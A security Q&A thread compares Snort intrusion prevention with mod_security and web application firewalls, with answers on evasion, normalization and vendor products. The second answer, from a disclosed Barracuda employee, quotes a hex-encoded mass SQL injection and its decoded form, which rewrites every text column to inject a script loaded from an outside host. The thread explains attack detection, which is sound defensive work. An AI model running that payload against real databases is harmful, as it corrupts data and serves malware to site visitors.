Using an IPS as an alternative to mod_security

Question

I am considering deploying mod_security as an addition to our web infrastructure. I am worried about the increased load however as these servers get a lot of hits. I am considering using IPS's such as Snort in line between the web servers and load balancers.

Does Snort's enterprise subscription contain a vast array of rules to filter web attacks such as SQL injection, path injection, command injection, XSS, %00, common attacks against CMS, etc. There are several comprehensive mod_sec rulesets out there. Is webappsec a good use for Snort or is it more for traditional exploits?

TLDR: I want to offload the functionality of mod_security to an external system or web application firewall applicance. If Snort is not the answer, what is?

Answer 1

Web application firewalls like mod_security have the potential to be more effective than network-based IDSs like Snort, because a web firewall can see the request exactly as it will be handled by the web server, and a network-based IDS cannot.

Network-based systems, like Snort, can only see the network packets. They have to infer/guess how the web server will interpret them. This introduces additional possibilities for evasion attacks (ways to conceal an attack). I'm not saying that mod_security is perfect or immune to evasion attacks, just that evasion attacks pose an even greater challenge for network-based solutions, like Snort.

The advantage of network-based solutions is that in some cases they can be easier to deploy. If you have a bunch of webservers, you can stick a network-based IDS at a chokepoint in the network, and they protect every webserver behind them, without needing to install and configure mod_security at each one.

That said, none of these approaches provide strong security. They are a stopgap, a way to mitigate security issues with legacy systems, but they can be defeated and they have many shortcomings. If you have the option, it is far better to build security into your software (e.g., your web applications) from the start. IT folks love the idea of IDS, IPS, and web firewalls, because they're easier to deploy -- but I think their benefits are often oversold. Trying to mitigate vulnerable software after-the-fact with an IDS, IPS, or a web firewall is brittle and prone to failure.

Answer 2

IPS like Snort are more of generalists for protecting commonly used Internet Protocols like HTTP, DNS, FTP, SMTP etc.

WAFs are supposed to be specialists for protecting HTTP.

Just to take injection attacks like SQLi, XSS as a starting point:

You can take some or all of mod_security's signatures and attempt to write equivalents for snort. However, IPS products do not have the same level of normalization for [obfuscated attacks][1], thus they are easy to evade. WAFs like Barracuda, normalize web based inputs before they apply their signatures, this prevents bypass using hex/URL/UTF-8/Unicode encoding, SQL comments etc.

For example, sometime back this mass SQL injection was doing the rounds on the Internet targeting MS SQL:

DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C41
    ....[more hex code]
    26C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--

WAFs are supposed to first normalize the content which becomes:

DECLARE @T VARCHAR(255),@C VARCHAR(255)

        DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM 
        sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' 
        AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

        OPEN Table_Cursor

        FETCH NEXT FROM Table_Cursor INTO @T,@C

        WHILE(@@FETCH_STATUS=0)
            BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=
            RTRIM(CONVERT(VARCHAR(4000),['+@C+']))
            +''<script src=http://www.adwbnr.com/b.js>
            </script>''')
            FETCH NEXT FROM Table_Cursor INTO @T,@C
        END

        CLOSE Table_Cursor

        DEALLOCATE Table_Cursor

And then apply the SQL checks to block these.

IPS, like snort, normally dont provide "zero-day" protection against such attacks, they provide specific signatures reactively to such attacks like Asprox botnet specifc signatures etc. And these are not effective against newer zero day vulnerabilities.

Then there are new forms of attacks - like HTTP Parameter Pollution which no IPS will defend against, as it involves examining, for example, the concatenated value of multiple input parameters (?a=SEL&a=ECT).

This is just a note on injection attacks, there are many other attacks which require a deeper understanding of the HTTP protocol which is absent in most IPS products. Session riding, CSRF, cookie poisoning, cookie replay, etc to name a few.

You can also look at this white paper for a high level overview.

Disclaimer: I work for Barracuda Networks which is a WAF vendor.

Answer 3

Yes, the virtual WAF are all but similar when it comes to appsec. And as you rightly point out, they are agnostic to the servers they are protecting which can be either physical or virtual. All they need to know is the web server IP/Port.

Obviously, for the virtual WAF, performance will depend on the underlying hardware as well as some layer 2-3 stuff like VLANs will need additional configuring on the host. Ask to be put in touch with the PM team at Barracuda if your queries don't get answered.